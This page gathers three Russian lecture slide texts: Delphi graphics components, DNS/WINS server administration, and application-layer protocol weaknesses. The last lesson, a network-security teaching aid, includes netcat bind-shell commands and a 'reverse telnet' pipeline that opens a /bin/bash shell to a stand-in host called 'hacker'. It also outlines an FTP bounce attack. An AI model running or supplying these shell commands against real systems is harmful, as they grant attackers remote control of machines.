title: Скачать презентацию или конспект Отображение графической информации в Delphi

extracted_text:
«Отображение графической информации в Delphi»
Delphi. Тема 12:
(Image, Shape, Chart)
«Отображение графической информации в Delphi»
План темы:
Способы вывода графической информации в Delphi.
Отображение картинок.
Отображение геометрических фигур.
Построение графиков и диаграмм.
1. Способы вывода графической информации.
В Delphi существует несколько способов вывода графической информации:
 Вывод заранее приготовленных изображений (компоненты Image, Shape);
 Построение графиков и диаграмм (компонент Chart и др.);
 Формирование изображений программным способом (объект Canvas).
Отображение картинок.

Отображение картинок при помощи компонента Image мы рассмотрели в одной из предыдущих тем.
Здесь мы рассмотрим пример осуществления простейшей анимации путем периодического изменения отображаемой картинки в компонентах Image.

Перейти на пример.
Отображение геометрических фигур.

Отображение простейших геометрических фигур на форме обеспечивает компонент Shape.

Отображение геометрических фигур.

Основные свойства компонента Shape:

Отображение геометрических фигур.

 Из нескольких компонентов Shape можно создавать несложные рисунки.
 Программно изменяя положение (.Left, .Top) размер (.Width, .Height) и цвет (Brush.Color) компонентов Shape в рисунке можно осуществить элементы простейшей анимации.

 Рассмотреть пример.
Построение графиков и диаграмм.

Диаграммы предназначены для более наглядного представления массивов численных данных, их визуального отображения и анализа. Пример.
Для построения диаграмм в Delphi имеется несколько компонентов, один из них компонент Chart (раздел TeeChart Std).
Построение графиков и диаграмм.

Вид компонента Chart после его установки на форму:
Построение графиков и диаграмм.

Кроме «Инспектора объектов» доступ к свойствам компонента Chart можно получить открыв специальное окно диалога (правая кнопка на компоненте \ Edit Chart…)
Добавить серию данных

Изменить тип диаграммы

Построение графиков и диаграмм.

Выбор типа диаграммы:
Построение графиков и диаграмм.

Установка свойств для осей координат (Axis):
Построение графиков и диаграмм.

Данные для отображения обычно передаются в Chart программно, пример:
 Series1.Clear; {очистить серию}
 for i:=1 to N do
	Series1.addxy(i, A[i], ‘’, clGreen);
Значение по оси X
Значение по оси Y
Подпись
по оси X
Цвет данных на диаграмме
Рассмотреть пример построения графика функции y = Sin(x)
	Далее:
Лабораторная работа № 13.1.
	«Отображение картинок и геометрических фигур, их анимация».
Задание:
1) Разработать приложение для осуществления простейшей анимации путем периодического изменения отображаемой картинки в компонентах Image. (Количество картинок не менее трех, картинки подобрать самостоятельно).
Задание:
2) Придумать и нарисовать рисунок из компонентов Shape. Программно изменяя положение, размер или цвет компонентов Shape в рисунке осуществить элементы простейшей анимации.
	Далее:
Лабораторная работа № 12.2.
	«Построение графиков и диаграмм».
Задание:
Модифицировать приложение из лабораторной работы № 9 (Отображение данных в таблице). Добавить возможность отображения некоторых данных из таблицы на гистограмме или круговой диаграмме.

2) Построить график заданной функции.


title: Скачать презентацию или конспект Серверы имен DNS и WINS

extracted_text:
Администрирование информационных систем
Серверы имен.
DNS,
WINS
Службы имен
Для организации и управления доступом к ресурсам сети пользователей и приложений используются подход, основанный на символьных обозначениях узлов и ресурсов. Для определения местоположения данных узлов в сети необходимы службы, обеспечивающие преобразование символьных имен в идентификаторы, используемые на более низких уровнях протоколов межсетевого взаимодействия.
Система доменных имен (DNS – domain name services) является методом регистрации имен компьютеров и их IP-адресов.
Служба имен Интернет для Windows (WINS) используется как служба разрешения имен NetBIOS в IP-адреса в сегментированных сетях.
Серверы доменных имен – инструменты данной системы, обеспечивающие ее функционирование.
Основные понятия
Система доменных имен (DNS) – иерархическая распределенная база данных, содержащая сопоставления доменных имен DNS с различными типами данных, таких как IP-адреса. DNS позволяет находить компьютеры и службы по понятным именам, а также просматривать другие сведения из базы данных.
DNS-клиент – компьютер-клиент, запрашивающий DNS-серверы для разрешения доменных имен DNS. DNS-клиенты имеют временный кэш разрешенных доменных имен DNS.
DNS-сервер – сервер, содержащий сведения о части базы данных DNS, отвечающий на запросы DNS и разрешающий их.
DNS-суффикс – строка знаков, представляющая имя домена в DNS. DNS-суффикс показывает расположение узла относительно корня DNS, обозначая положение узла в иерархии DNS. Обычно DNS-суффикс описывает последнюю часть имени DNS, предваряемую одной или несколькими первыми метками имени DNS.

Работа запросов DNS
Когда DNS-клиенту требуется найти имя, используемое в программе, он запрашивает DNS-серверы для сопоставления имени. Каждое сообщение с запросом, отправляемое клиентом, содержит информацию трех типов, определяющую вопрос, на который отвечает сервер:
указанное доменное имя DNS в виде полного доменного имени узла (FQDN);
указанный тип запроса, в котором задается либо тип записей ресурсов, либо тип операции запроса;
указанный класс доменного имени DNS. Для DNS-серверов Windows этот класс всегда должен быть указан как класс Интернета (IN).
Например, указанное имя может представлять полное доменное имя узла для компьютера, такое как «host-a.example.microsoft.com.», и тип запроса на поиск записей ресурсов адреса (A) для этого имени. Запрос DNS можно представить как вопрос клиента, состоящий из двух частей, например «Имеются ли записи ресурсов A для компьютера с именем 'hostname.example.microsoft.com.'?» Когда клиент получает ответ от сервера, он читает и интерпретирует содержащуюся в ответе запись ресурса A, узнавая IP-адрес компьютера, запрошенного по имени.
Запросы DNS используют несколько способов сопоставления имен. Клиент может иногда ответить на запрос с помощью локальной кэшированной информации, полученной в предыдущем запросе. DNS-сервер может использовать собственный кэш информации о записях ресурсов для ответа на запрос. DNS-сервер может также запросить или обратиться к другим DNS-серверам в интересах запрашивающего клиента для полного сопоставления имени, а затем отправить ответ клиенту. Этот процесс называют рекурсией.
Работа запросов DNS
Клиент может самостоятельно пытаться установить контакт с дополнительными DNS-серверами для сопоставления имени. При этом клиент использует отдельные дополнительные запросы, базирующиеся на ссылочных ответах от серверов. Этот процесс называют итерацией.
В общем случае процесс запроса DNS выполняется в две стадии.
Запрос к имени начинается на клиентском компьютере и передается в систему сопоставления имен службы DNS-клиент.
Когда не удается ответить на запрос на локальном уровне, можно для сопоставления имени запрашивать DNS-серверы по мере необходимости.
Общая картина всего процесса запроса DNS
Локальная система разрешения имен
На первом этапе процесса в программе на локальном компьютере используется доменное имя DNS. Затем запрос передается в службу «DNS-клиент» для сопоставления с помощью локальной кэшированной информации. Если удается разрешить запрошенное имя, поступает ответ на запрос и процесс завершается.
Кэш локального сопоставления имен может включать информацию об именах из двух возможных источников.
Если имеется локальный файл Hosts, все сопоставления имен и адресов из этого файла предварительно загружаются в кэш при запуске службы «DNS-клиент».
Записи ресурсов, полученные в ответах на запросы из предыдущих запросов DNS, добавляются в кэш и сохраняются в нем в течение определенного периода времени.
Если клиент не находит сопоставления в кэше, процесс продолжается с помощью запроса на разрешение имени от клиента к DNS-серверу.
Пример файла hosts
# (C) Корпорация Майкрософт (Microsoft Corp.), 1993-1999
#
# Это образец файла HOSTS, используемый Microsoft TCP/IP для Windows.
#
# Этот файл содержит сопоставления IP-адресов именам узлов.
# Каждый элемент должен располагаться в отдельной строке. IP-адрес должен
# находиться в первом столбце, за ним должно следовать соответствующее имя.
# IP-адрес и имя узла должны разделяться хотя бы одним пробелом.
#
# Кроме того, в некоторых строках могут быть вставлены комментарии
# (такие, как эта строка), они должны следовать за именем узла и отделяться
# от него символом '#'.
#
# Например:
#
#      102.54.94.97     rhino.acme.com          # исходный сервер
#       38.25.63.10     x.acme.com              # узел клиента x

127.0.0.1       	localhost
192.168.163.12	itboss.office.rosnou.ru

Зоны DNS, интегрированные в Active Directory
Запрос к DNS-серверу
Клиент запрашивает основной DNS-сервер. Из глобального списка выбирается сервер, используемый на начальной стадии запроса от клиента к серверу.
Когда DNS-сервер принимает запрос, он сначала проверяет, можно ли дать удостоверяющий ответ на базе записей ресурсов, содержащихся в локальной зоне в конфигурации сервера. Если запрошенное имя соответствует информации в записи ресурса в локальной зоне, сервер дает удостоверяющий ответ, используя эту информацию для разрешения имени.
Если в зоне нет информации для запрошенного имени, сервер проверяет, можно ли разрешить имя, используя информацию предыдущих запросов в локальном кэше. При обнаружении совпадения, сервер отвечает с использованием этой информации.
Если на основном сервере не удается найти запрошенное имя — ни в кэше, ни в зонах — процесс выполнения запроса может продолжаться с использованием рекурсии для полного разрешения имени. При этом другие DNS-серверы помогают разрешить имя. Служба «DNS-клиент» по умолчанию указывает серверу использовать процесс рекурсии для полного разрешения имен в интересах клиентов перед возвращением ответа. В большинстве случаев DNS-серверы по умолчанию настраиваются на поддержку процесса рекурсии.
Корневые ссылки
Корневые ссылки используются для подготовки серверов, которые являются удостоверяющими для некорневых зон, чтобы они могли обнаруживать удостоверяющие серверы, которые управляют доменами, находящимися на более высоком уровне или на других ветвях пространства доменных имен DNS. Такие ссылки служат основным средством обнаружения серверов на верхних уровнях для удостоверяющих серверов, находящихся на нижних уровнях пространства имен.
Например, предположим, что DNS-сервер (сервер A) имеет зону sub.office.rosnou.ru. При ответе на запрос для домена более высокого уровня, такого как домен office.rosnou.ru, серверу A требуется помощь в обнаружении удостоверяющего сервера этого домена (сервера B).
Чтобы сервер A обнаружил B или любые другие удостоверяющие серверы домена rosnou.ru, он должен обладать способностью запрашивать корневые серверы пространства имен DNS. Тогда корневые серверы смогут предоставить серверу A ссылки на удостоверяющие серверы домена ru. В свою очередь серверы домена ru смогут предоставлять ссылки на сервер B или другие серверы, которые являются удостоверяющими для домена rosnou.ru.
Корневые ссылки, используемые сервером A, могут содержать полезные ссылки на корневые серверы, позволяющие обнаружить сервер B (или другой удостоверяющий сервер).
Служба DNS-сервер по умолчанию реализует корневые ссылки с помощью файла Cache.dns, который хранится на сервере в папке %systemroot%\System32\Dns. Этот файл обычно содержит записи ресурсов NS и A для корневых серверов Интернета. Однако при использовании службы DNS-сервер в частной сети можно изменить этот файл или заменить его другим, содержащим аналогичные записи, которые указывают на собственные внутренние корневые DNS-серверы.
Инструменты DNS
В Windows 2000/2003 Server имеется ряд служебных программ для администрирования, наблюдения и устранения неполадок серверов и клиентов DNS. В число таких служебных программ входят:
Консоль DNS, являющаяся частью средств администрирования.
Служебные программы командной строки, такие как Nslookup, применяемые при устранении неполадок DNS.
Средства ведения журналов, например журнала DNS-сервера, который можно просматривать в консоли DNS и в окне просмотра событий. Журналы, ведущиеся в файлах, также могут использоваться как дополнительное средство отладки, позволяющее выполнять регистрацию и трассировку выбранных событий службы.
Служебные программы наблюдения за производительностью, такие как статистические счетчики, выполняющие измерения активности DNS-сервера в системном мониторе.
Инструментарий управления Windows (WMI), стандартное средство доступа к информации управления в корпоративной среде.
Набор Platform Software Developer Kit (SDK).

Консоль DNS
Основным средством управления DNS-серверами служит консоль DNS, размещенная в папке «Администрирование» панели управления, находящейся в папке «Программы» главного меню. Консоль DNS используется самостоятельно либо как консоль MMC, что позволяет объединить администрирование DNS с общим сетевым администрированием.
Консоль DNS позволяет выполнять следующие основные задачи администрирования:
Задание начальной конфигурации нового DNS-сервера.
Подключение к локальному DNS-серверу и управление им на том же компьютере или же выполнение этих действий для удаленных DNS-серверов на других компьютерах.
Добавление и удаление зон прямого и обратного просмотра.
Добавление, удаление и обновление записей ресурсов в зонах.
Изменение способов сохранения зон и их репликации между серверами.
Изменение способов, применяемых серверами для обработки запросов и динамических обновлений.
Изменение условий безопасности конкретных зон или записей ресурсов.
Кроме того, консоль DNS можно использовать для выполнения следующих задач.
Управление сервером. Имеется возможность запускать, останавливать, приостанавливать или возобновлять работу сервера, а также вручную обновлять файлы данных сервера.
Наблюдение за содержимым кэша сервера и, при необходимости, его очистка.
Настройка дополнительных параметров сервера.
Задание условий и выполнение очистки устаревших записей ресурсов, сохраняемых сервером.
Консоль DNS может использоваться только после установки на серверном компьютере службы DNS.
Служебные программы командной строки
Существует ряд служебных программ командной строки для управления и для устранения неполадок серверов и клиентов DNS. В следующей таблице перечислены все такие служебные программы, которые можно запускать либо из командной строки, либо из пакетных файлов, используемых для запуска сценариев.
Планирование серверов для DNS
При планировании DNS-серверов необходимо принять во внимание решение следующих основных задач.
Планирование мощности и рассмотрение аппаратных требований к серверам.
Определение числа требуемых DNS-серверов и их роли в сети. При рассмотрении вопроса о числе используемых DNS-серверов необходимо решить, на каких серверах будут находиться главные и дополнительные копии зон. При использовании службы каталогов Active Directory, следует определить, будет ли сервер выполнять роль контроллера домена или рядового сервера домена.
Расположение в сети DNS-серверов для обеспечения трафика, репликации и отказоустойчивости.
Необходимо решить, будут ли использоваться только DNS-серверы Windows Server 2003 для всех DNS-серверов или предполагается совместно использовать DNS-серверы Windows и другие реализации DNS-серверов.

Планирование мощности серверов
Планирование и развертывание DNS-серверов в сети включает анализ ряда аспектов работы сети и требований к мощности DNS-серверов, которые предполагается в ней использовать. При этом необходимо рассмотреть следующие вопросы.
Определить число зон загружаемых и управляемых DNS-сервером.
Для каждой зоны, которую сервер загружает для обслуживания, необходимо определить размер (на основании размера файла зоны или числа записей ресурсов, используемых в зоне).
Для многосетевого DNS-сервера необходимо определить, сколько интерфейсов должно быть включено для прослушивания и обслуживания DNS-клиентов в каждой из подключенных к серверу подсетей.
Сколько всего запросов DNS, которые должен обработать DNS-сервер, ожидается от всех клиентов.
При типичном использовании DNS-сервер расходует системную память следующим образом:
Примерно 4 Мбайт ОЗУ используется при запуске DNS-сервера без загрузки зон.
Для каждого добавления на сервер зон или записей ресурсов DNS-сервер расходует дополнительную память.
Согласно оценке, при добавлении каждой записи ресурсов в зону, обслуживаемую сервером, используется примерно 100 байт памяти сервера. Например, если на сервер добавляется зона, содержащая 1000 записей ресурсов, для нее потребуется примерно 100 Кбайт памяти сервера.

Расположение DNS-серверов
В общем случае DNS-серверы в сети следует размещать централизованно и таким образом, чтобы они были доступны для всех клиентов. Наиболее удобным является использование DNS-сервера в каждой подсети. При выборе мест для размещения DNS-серверов следует учитывать ряд факторов.
Если структура DNS развертывается для поддержки службы каталогов Active Directory, необходимо учесть, является ли DNS-сервер одновременно контроллером домена и не будет ли он повышен до этой роли в будущем.
Могут ли локальные клиенты получить доступ к дополнительному DNS-серверу, если DNS-сервер не отвечает.
Если DNS-сервер расположен в подсети, которая является удаленной для некоторых клиентов, то какие другие DNS-серверы или средства сопоставления имен будут доступны в случае, когда подключение с маршрутизацией перестанет отвечать.

Планирование пространства имен для DNS
Перед началом использования службы DNS в сети следует выработать план пространства доменных имен DNS.
Разработка плана пространства имен связана с принятием решений о том, как предполагается использовать имена DNS и для каких целей будет использоваться служба DNS. На этой стадии решается ряд вопросов:
наличие ранее выбранного и зарегистрированного доменного имени DNS для использования в Интернете;
установка DNS-серверов в частной сети или в Интернете;
использование DNS для поддержки службы каталогов Active Directory;
требования к именам, которые будут применяться при выборе доменных имен DNS для компьютеров.

Выбор первого доменного имени DNS
При установке DNS-серверов рекомендуется сначала выбрать и зарегистрировать уникальное имя родительского домена DNS для вашей организации в Интернете, например rosnou.ru. Это имя представляет домен второго уровня в одном из доменов верхнего уровня в Интернете.
После выбора имени родительского домена можно с помощью имен или названий мест расположения, используемых в организации, сформировать имена поддоменов. Если в дерево доменов добавлен поддомен, например office.rosnou.ru (для ресурсов, используемых в подразделениях университета), с помощью этого имени можно формировать дополнительные имена поддоменов.
При выборе для организации имя родительского домена DNS в Интернете, необходимо выполнить поиск и убедиться, что это имя не зарегистрировано другой организацией или лицом. Пространством имен DNS Интернета в настоящее время управляет InterNIC (Internet Network Information Center).
Планирование пространства имен DNS для службы каталогов Active Directory
При использовании службы каталогов Active Directory, необходимо сначала представить план пространства имен. Для правильной реализации пространства доменных имен DNS необходимо, чтобы была доступна структура службы каталогов Active Directory. Таким образом, следует начать с проектирования структуры службы каталогов Active Directory, а затем дополнить ее соответствующим пространством имен DNS. В дальнейшем, если при проверке будут обнаружены непредвиденные или нежелательные результаты в любом из планов, следует вносить изменения по мере необходимости.
Домены Active Directory именуются с использованием имен DNS. При выборе имен DNS для доменов службы каталогов Active Directory следует начать с зарегистрированного суффикса имени домена DNS, зарезервированного вашей организацией для использования в Интернете, например rosnou.ru, и, объединив это имя с названиями мест расположения или названиями подразделений, используемыми в организации, сформировать полные имена доменов службы каталогов Active Directory.
Например, домен группы тестирования в корпорации Майкрософт может называться test.example.microsoft.com. При таком способе именования гарантируется глобальная единственность каждого имени домена Active Directory. Кроме того, применение такого способа именования облегчает использование существующих имен как родительских при создании дополнительных поддоменов и дальнейшее расширение пространства имен при добавлении новых подразделений организации.
Выбор имен
Настоятельно рекомендуется использовать в именах только символы, входящие в стандартный набор символов, разрешенных для использования в именах DNS узлов Интернета. Допустимые знаки определены в документе Request for Comments (RFC) 1123 следующим образом: все прописные буквы (A-Z), строчные буквы (a-z), цифры (0-9) и дефис (-).
В качестве дополнения для идентификации компьютера может также использоваться полное доменное имя, образованное из имени компьютера (или узла) и доменного имени, зависящего от подключения, которое настраивается и применяется для конкретного сетевого подключения компьютера.
Полное имя компьютера составляется из имени компьютера и основного DNS-суффикса для данного компьютера. Доменное имя DNS компьютера является частью системных свойств компьютера и не связано с какими-либо конкретными установленными сетевыми компонентами. Однако у компьютеров, на которых не используются ни сетевые возможности, ни протокол TCP/IP, доменного имени DNS нет.
Сравнение компьютерных имен NetBIOS и DNS.
Установка DNS
DNS используется в сетях TCP/IP, таких как Интернет, для обнаружения компьютеров и служб по именам, удобным для пользователей. Когда пользователь вводит в приложении DNS-имя, DNS может сопоставить имя с другими сведениями, например с IP-адресом.
Установка DNS в сети не требует обязательного администрирования большой инфраструктуры DNS или наличия опытного администратора DNS. При наличии очень маленькой сети с необходимостью надежной поддержки сведений можно задавать администрирование пространства имен DNS сторонней организацией, специализирующейся в администрировании DNS
Установка DNS-сервера обычно затрагивает настройку DNS-сервера с DNS-зонами для администрирования DNS-имен домена в сети, добавление записей ресурсов DNS для узлов в сети к DNS-зонам и делегирование администрирования для этих зон за счет создания делегирования из родительского DNS-сервера, заранее назначенного официальным для имени домена, к дочернему DNS-серверу, который принимает ответственность за имя домена. Наконец, администратор DNS-сервера должен сохранять целостность данных DNS-зоны с помощью защиты DNS-серверов в сети.
Настройка DNS-сервера
Чтобы настроить DNS-сервер
Откройте оснастку  DNS.
При необходимости выполните добавление и подключение к применимому серверу в консоли.
В дереве консоли щелкните применимый DNS-сервер.
 Где?
DNS
Применимый DNS-сервер
В меню Действие выберите команду Настройка DNS-сервера.
Следуйте инструкциям мастера настройки DNS-сервера.
Управление записями ресурсов
После создания зоны в нее следует добавить дополнительные записи ресурсов. Обычно добавляются следующие записи ресурсов.
Узел (A) — для сопоставления доменного имени DNS с IP-адресом, используемым компьютером.
Псевдоним (CNAME) — для сопоставления псевдонима доменного имени DNS с другим первичным или каноническим именем.
Почтовый обменник (MX) — для сопоставления доменного имени DNS с именем компьютера, который выполняет обмен или перенаправление почты.
Указатель (PTR) — для сопоставления обратного доменного имени DNS, основанного на IP-адресе компьютера, указывающего на прямое доменное имя DNS этого компьютера.
Расположение службы (SRV) — для сопоставления доменного имени DNS с указанным списком узлов DNS, предлагающих определенный тип службы, например с контроллерами домена службы каталогов Active Directory.
Другие записи ресурсов по мере необходимости.

Записи ресурсов узлов (A)
Записи ресурсов имен узлов (A) используются в зоне для связывания доменных имен DNS компьютеров (узлов) с их IP-адресами. Эти записи могут добавляться в зону несколькими способами:
Запись ресурса для статического клиентского компьютера TCP/IP может быть создана с помощью консоли DNS.
Компьютеры, работающие под управлением Windows 2000, используют службу «DHCP-клиент» для динамической регистрации и обновления собственных записей ресурсов A в DNS, когда конфигурация IP изменяется.
Для клиентских компьютеров с включенной службой DHCP, которые работают под управлением одной из предыдущих версий операционных систем корпорации Майкрософт, записи ресурсов A регистрируются и обновляются прокси-сервером, если эти компьютеры получают аренду IP от квалифицированного DHCP-сервера (в настоящее время эта возможность поддерживается только службой DHCP, предоставляемой операционными системами Windows 2000 и Windows Server 2003).
Записи ресурсов (A) не являются обязательными для всех компьютеров, но они необходимы для компьютеров, совместно использующих ресурсы в сети. Любой компьютер, совместно использующий ресурсы в сети, который должен идентифицироваться по своему доменному имени DNS, нуждается в записях ресурсов A, которые обеспечивают сопоставление имени DNS с IP-адресом компьютера.
Записи ресурсов псевдонимов (CNAME)
Записи ресурсов псевдонимов (CNAME) иногда называют каноническими именами. Такие записи позволяют использовать несколько имен для указания на один узел, что облегчает одновременное использование одного компьютера в качестве FTP-сервера и веб-сервера. Например, общеизвестные имена сервера (ftp, www) регистрируются с помощью записей ресурсов CNAME, которые обеспечивают сопоставление с именем узла DNS, таким как «server-1», для компьютера, на котором выполняются эти службы.
Использование записей ресурсов CNAME рекомендуется в следующих ситуациях.
Когда необходимо переименовать узел, указанный в записи ресурса A в той же зоне.
Когда универсальное имя общеизвестного сервера, такое как www, должно быть сопоставлено группе отдельных компьютеров (каждому из которых соответствует отдельная запись ресурса A), обеспечивающих одну и ту же службу. Например, группе избыточных веб-серверов.
Обычно и чаще всего запись ресурса CNAME требуется для создания постоянного псевдонима доменного имени DNS при сопоставлении универсальных имен, базирующихся на имени службы, таких как www.example.microsoft.com, нескольким компьютерам или IP-адресам, используемым на веб-сервере. Например, ниже демонстрируется общий синтаксис использования записи ресурса CNAME.
псевдоним IN CNAME первичное_каноническое_имя
Записи ресурсов псевдонимов (CNAME)
В этом примере компьютер с именем «host-a.example.microsoft.com» должен работать одновременно как веб-сервер с именем «www.example.microsoft.com.» и FTP-сервер с именем «ftp.example.microsoft.com». Чтобы обеспечить требуемое наименование компьютера, можно добавить и использовать следующие записи CNAME в зоне example.microsoft.com:
host-a IN A 10.0.0.20
ftp IN CNAME host-a
www IN CNAME host-a
Если в дальнейшем потребуется перевести FTP-сервер на другой компьютер, отличный от веб-сервера на компьютере «host-a», просто измените запись ресурса CNAME в зоне для ftp.example.microsoft.com и добавьте дополнительную запись ресурса A в зону для нового компьютера, на котором будет выполняться FTP-сервер.
На основании предыдущего примера, если имя нового компьютера «host-b.example.microsoft.com», новая и измененная записи ресурсов A и CNAME будут иметь вид:
host-a IN A 10.0.0.20
host-b IN A 10.0.0.21
ftp IN CNAME host-b
www IN CNAME host-a

Записи ресурсов почтового обменника (MX)
Запись ресурса почтового обменника (MX) используется приложениями электронной почты для обнаружения почтового сервера по доменному имени DNS, используемому в адресе получателя сообщения электронной почты. Например, запрос DNS к имени «example.microsoft.com» может использоваться для поиска записи ресурса MX, что позволит приложению электронной почты направлять или обмениваться сообщениями с пользователем, имеющим почтовый адрес «user@example.microsoft.com».
Запись ресурса MX показывает доменное имя DNS для компьютера или компьютеров, которые обрабатывают почту для домена. Если существуют несколько записей ресурсов MX, служба «DNS-клиент» пытается установить связь с почтовыми серверами в порядке указанного предпочтения, от минимального значения (высший приоритет) к максимальному (низший приоритет). Ниже приводится пример основного синтаксиса при использовании записи ресурса MX.
почтовое_доменное_имя IN MX предпочтение узел_почтового_сервера
С помощью записей ресурсов MX, показанных ниже для зоны example.microsoft.com, почта с адресом user@example.microsoft.com будет, по возможности, доставлена на адрес user@mailserver0.example.microsoft.com. Если этот сервер недоступен, клиент службы сопоставления имен может использовать адрес user@mailserver1.example.microsoft.com.
@ IN MX 1 mailserver0
@ IN MX 2 mailserver1
Следует отметить, что использование символа @ в записях указывает, что доменное имя DNS отправляющего совпадает с исходным именем зоны (example.microsoft.com).
Записи ресурсов указателя (PTR)
Записи ресурсов указателя (PTR) используются для поддержки процесса обратного просмотра, который выполняется на основании зон, создаваемых в корневом домене in-addr.arpa. Такие записи используются для обнаружения компьютера по его IP-адресу и сопоставления этой информации с доменным именем DNS этого компьютера.
Записи ресурсов PTR могут добавляться в зону следующими способами.
Запись ресурса PTR для статического клиентского компьютера TCP/IP может быть создана вручную с помощью DNS, либо посредством отдельной процедуры, либо в процессе создания записи ресурса A.
Компьютеры, работающие под управлением Windows 2000, могут использовать службу «DHCP-клиент» для динамической регистрации и обновления собственных записей ресурсов PTR в DNS, когда конфигурация IP изменяется.
Для всех других клиентских компьютеров с включенной службой DHCP записи ресурсов PTR регистрируются и обновляются DHCP-сервером, если эти компьютеры получают аренду IP от квалифицированного DHCP-сервера.
Записи ресурсов размещения службы (SRV)
Чтобы обнаружить контроллеры домена службы каталогов Active Directory в Windows 2000, требуются записи ресурсов расположения службы (SRV).
Мастер установки службы каталогов Active Directory по умолчанию пытается обнаружить DNS-сервер по списку основных или дополнительных DNS-серверов, указанных в свойствах клиента TCP/IP для каждого из его активных сетевых подключений. Если выполняется соединение с DNS-сервером, который может принимать динамическое обновление записи ресурса SRV (и других записей ресурсов, относящихся к регистрации Active Directory как службы в DNS), то процесс задания конфигурации завершается.
Записи ресурсов размещения службы (SRV)
Если во время установки не обнаруживается DNS-сервер, который может принимать обновления для доменного имени DNS, используемого службой каталогов Active Directory, то DNS-сервер можно установить локально с помощью мастера и автоматически настроить с зоной, поддерживающей домен службы каталогов Active Directory.
Если не установить DNS-сервер, обеспечиваемый Windows 2000, то в процессе установки службы каталогов Active Directory создается и записывается файл (Netlogon.dns), содержащий записи ресурсов SRV и другие записи ресурсов, требуемые для поддержки Active Directory. Этот файл создается в папке %Systemroot%\System32\Config.
Внешний вид консоли DNS


title: Скачать презентацию или конспект Протоколы прикладного уровня

extracted_text:
Протоколы прикладного уровня
Раздел 2 – Тема 15
Клиент
Сервер

Протокол обмена
TELNET
FTP
HTTP
Реализация служб прикладного уровня

Уровень сетевого взаимодействия
Удалённый вызов процедур
Канальный
уровень
Физический
уровень
Сетевой
уровень
Транспортный
уровень
Уровень
соединения
Уровень
представления
Уровень
приложения
7
6
5
4
3
2
1
Ethernet, FDDI, X.25
и другие
Сетевой
уровень
IP
TCP, UDP
RPC
Клиент
Сервер RPC

Протокол RPC
Спецификация RPC-сервера
 Номер программы
 Номер процедуры
 Номер версии
Клиент
Сервер RPC

Запрос клиента
Спецификация RPC-сервера
 Номер программы
 Номер процедуры
 Номер версии

Номер порта

Клиент
Сервер RPC

Номер процедуры
RPC-сканирование

Номер порта
Примеры утилит для RPC-сканирования
 RPCScan  (Linux)
 rpcdump    (Windows)
Клиент
(утилита telnet)
Сервер
(telnetd)

Протокол обмена
TELNET
Протокол удалённого терминала - TELNET
Взаимодействие
«терминал-удалённый процесс»
Терминал – Серверный процесс

$a

a

a
a
Команды протокола TELNET
Управляющий символ IAC
Команда
Параметры
Interpret as Command, равен 255
Например, клавиша Backspace, 247

1 байт

1 байт

1 байт
Команды протокола TELNET
Название команды
Код
Описание команды
IP (Interrupt Process)
244
Прерывание  процесса
пользователя
AO (Abort Output)
245
Остановка вывода
на дисплей
AYT (Are You There)
246
Проверка состояния системы
EC (Erase Character)
247
Удаление последнего введённого символа
EL (Erase Line)
248
Удаление текущей строки
Передача команд
$a

IAC EC

Backspace
$
Клиент
(утилита telnet)
Сервер
(telnetd)

Передача имени и пароля в открытом виде
Уязвимости протокола TELNET

Изменение переменных окружения до аутентификации
Уязвимости протокола TELNET
Клиент
(утилита telnet)
Сервер
(telnetd)

Что такое Netcat?
Netcat - это утилита, которая позволяет читать и записывать данные по сети с использованием протоколов TCP или UDP. Возможности netcat :
Работа с входящими и исходящими TCP или UDP соединениями, использующими любые порты
Выполнение DNS запросов различных типов
Возможность задания порта источника
Возможность использования любого адреса источника (из локально сконфигурированных)
Возможности по сканированию портов
Работа в качестве telnet-сервера
Netcat и Telnet - клиент
Telnet - клиент имеет ограничения, преодолеть которые поможет Netcat.  Например:
Ограничения стандартного потока ввода
Посылка сообщений об ошибках в стандартный поток вывода, вместе с данными
Невозможность посылки двоичных данных
Невозможность  находиться в состоянии ожидания соединения
Невозможность работы с UDP
Режимы работы Netcat
Режим исходящих соединений
Режим ожидания входящих соединений

Слушающий порт

nc [-опции] <узел> порт[ы]

nc –l –p <слушающий порт> [-опции] [узел] [порт]
Варианты использования Netcat
Подключение к слушающему порту на удаленном узле
Подключение с явным указанием порта источника

nc  200.2.2.222 80

nc –p 53  200.2.2.222 80
53
200.2.2.222

80
200.2.2.222

Варианты использования Netcat
Открытие порта и подключение оболочки к нему
nc –e /bin/bash <слушающий порт>

nc –e cmd.exe <слушающий порт>

Вариант для Linux
Вариант для Windows

«Обращённый» TELNET

Это управление узлом через соединение, инициируемое с него самого
«Обращённый» TELNET

80
25
> telnet hacker 80
| /bin/bash | telnet hacker 25

/bin/bash

Команды

Результаты

Практическая работа 18
Утилита Netcat
«Обращённый» TELNET
Клиент
Сервер

Команды
Ответы
Реализация службы FTP
Интерфейс

пользователя
Модуль
управления
передачей
Модуль
передачи
 данных

Данные
Модуль
управления
передачей
Модуль
передачи
 данных
Пассивный вариант работы FTP
Клиент
Сервер (ftpd)

команда PASV
Ответ с параметрами

(номер порта для подключения)

Открытие соединения

на указанный порт

Предсказуемый номер порта
Клиент
Сервер (ftpd)

команда PASV
Ответ с параметрами

(номер порта для подключения)

Открытие соединения

на указанный порт

Подключение раньше клиента
Открытие большого количества портов
Сервер (ftpd)

команда PASV
Ответ с параметрами

(номер порта для подключения)

команда PASV
Ответ с параметрами

(номер порта для подключения)

команда PASV
Ответ с параметрами

(номер порта для подключения)
Передача данных между двумя FTP-серверами
Сервер (ftpd)
Сервер (ftpd)

Передача большого

количества данных
Управляющее соединение
Атаки на сетевые службы при помощи FTP
Сервер FTP
Почтовый сервер

Подключение с FTP-сервера
PORT 20,1,1,1,0,25
RETR <bad file>
20.1.1.1

25

telnet www.microsoft.com
Resolver

www.microsoft.com - ?

100.0.0.6
DNS Server
DNS - служба
Домены и поддомены

«  »

org
edu
com
company
sale
buhg

Root
Name
Server
company.com
Name Server

sale.company.com
Name Server

Записи Resource Record
main.sale.company.com.      IN   A    100.0.0.120

sale

sale.company.com
Name Server
sale.company.com.      IN     NS     ns.sale.company.com

Разрешение имён
R
e
s
o
l
v
e
r

main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com - ?
main.sale.company.com - ?
com Name Server
Root Server
company.com NS
sale.company.com NS
Применение транспортного протокола
без установления соединения (UDP)
Отсутствие идентификации и аутентификации
Отсутствие средств разграничения доступа
Уязвимости службы DNS
Пример атаки на IP - сеть:
Атака на DNS
Нарушение нормального функционирования объекта атаки
Местонахождение атакующего
В одном сегменте с объектом атаки
Используемые уязвимости
Цель
Слабая защищённость протокола DNS -
- недостаток проектирования
Степень риска
Высокая
